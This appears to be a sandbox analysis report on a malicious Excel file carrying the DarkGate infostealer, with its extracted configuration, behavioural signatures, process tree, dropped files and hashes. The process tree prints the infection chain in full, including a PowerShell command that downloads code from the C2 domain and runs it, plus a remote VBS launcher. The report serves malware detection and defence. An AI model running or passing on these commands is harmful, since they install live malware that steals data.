Analysis

  • max time kernel
    156s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/03/2024, 19:30

General

  • Target
    356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx
  • Size 56KB
  • Sample240319-x76fbadb28
  • SHA256 356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • badbutperfect.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    WZqqpfdY

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4576
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4344
        • C:\rimz\AutoHotkey.exe
          "C:\rimz\AutoHotkey.exe" script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:1588
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rimz
          4⤵
          • Views/modifies file attributes
          PID:4972

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_245rftao.flp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_245rftao.flp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoHotkey.exe

        • Path C:\rimz\AutoHotkey.exe
        • Size 892KB
        • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
        • MD5 SHA1 SHA512 SSDEEP

        script.ahk

        • Path C:\rimz\script.ahk
        • Size 54KB
        • SHA256 5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572
        • MD5 SHA1 SHA512 SSDEEP

        test.txt

        • Path C:\rimz\test.txt
        • Size 915KB
        • SHA256 a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489
        • MD5 SHA1 SHA512 SSDEEP

        memory/1588-68-0x0000000004AF0000-0x0000000004B63000-memory.dmp

        memory/1588-66-0x0000000004AF0000-0x0000000004B63000-memory.dmp

        memory/4344-65-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

        memory/4344-48-0x000001C0D7510000-0x000001C0D76D2000-memory.dmp

        memory/4344-47-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

        memory/4344-45-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

        memory/4344-44-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp

        memory/4344-43-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp

        memory/4344-38-0x000001C0BEDD0000-0x000001C0BEDF2000-memory.dmp

        memory/4576-7-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

        memory/4576-10-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-15-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-16-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-17-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp

        memory/4576-18-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp

        memory/4576-31-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-32-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-13-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-12-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-11-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-14-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-9-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-46-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-1-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-8-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-6-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-3-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

        memory/4576-5-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

        memory/4576-4-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp

        memory/4576-2-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp

        memory/4576-0-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp